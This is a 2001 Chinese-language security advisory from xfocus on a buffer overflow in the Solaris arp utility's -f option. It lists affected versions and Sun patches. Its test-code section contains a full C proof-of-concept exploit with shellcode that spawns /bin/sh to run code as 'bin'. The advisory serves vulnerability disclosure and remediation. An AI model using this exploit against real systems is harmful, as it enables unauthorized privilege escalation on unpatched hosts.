xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Solaris arp 存在缓冲溢出漏洞


发布时间:2001-01-13
更新时间:2001-01-13
严重程度:
威胁程度:本地管理员权限
错误类型:输入验证错误
利用方式:服务器模式

受影响系统
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6
Sun Solaris 2.5.1_x86
Sun Solaris 2.5.1
Sun Solaris 2.5_x86
Sun Solaris 2.5
Sun Solaris 2.4_x86
Sun Solaris 2.4
详细描述
arp用来查看和管理包含网络硬件地址映射表的工具,为了方便,SOLARIS ARP支持一个选项(-f参数)可以插入多个包含在文件中的条目。这个文件的值将会通过sscanf()作为字符串来展开。但是,其没有保证这些长度要不能超过本地变量所分配给它们的空间。这样就存在覆盖堆栈和破坏程序的可能。这个漏洞可以导致以"bin"的身份执行任意代码。

测试代码
#include <fcntl.h>

/* arpexp.c

   arp overflow proof of concept by ahmed@securityfocus.com
   tested on x86 solaris 7,8beta

   default should work.  if not, arg1 = offset. +- by 100's

   Copyright Security-Focus.com, 11/2000
*/

long get_esp() { __asm__("movl %esp,%eax"); }

int main(int ac, char **av)
{

  char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
                 "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
                 "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
                 "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
                 "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
                 "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
                 "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
                 "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
                 "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
                 "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
                 "\xff\xff";

  unsigned long magic = 0x8047b78;
  unsigned long r = get_esp() + 600;
  unsigned char buf[300];
  int f;

  if (ac == 2)
    r += atoi(av[1]);

  memset(buf,0x61,sizeof(buf));
  memcpy(buf+52,&magic,4);
  memcpy(buf+76,&r,4);

  f = open("/tmp/ypx",O_CREAT|O_WRONLY,0600);
  write(f,"1 2 3 4 ",8);
  write(f,buf,sizeof(buf));
  close(f);

  memset(buf,0x90,sizeof(buf));
  memcpy(buf,"LOL=",4);
  memcpy(buf+(sizeof(buf)-strlen(shell)),shell,strlen(shell));
  putenv(buf);

  system("/usr/sbin/arp -f /tmp/ypx");
  unlink("/tmp/ypx");

}

解决方案
采用下列补丁:

Sun Solaris 7.0_x86:

Sun patch 109710-01


Sun Solaris 7.0:

Sun patch 109709-01


Sun Solaris 2.6_x86:

Sun patch 109720-01


Sun Solaris 2.6:

Sun patch 109719-01


Sun Solaris 2.5.1_x86:

Sun patch 109722-01


Sun Solaris 2.5.1:

Sun patch 109721-01


Sun Solaris 2.5_x86:

Sun patch 109708-01


Sun Solaris 2.5:

Sun patch 109707-01


Sun Solaris 2.4_x86:

Sun patch 109724-01


Sun Solaris 2.4:

Sun patch 109723-01

相关信息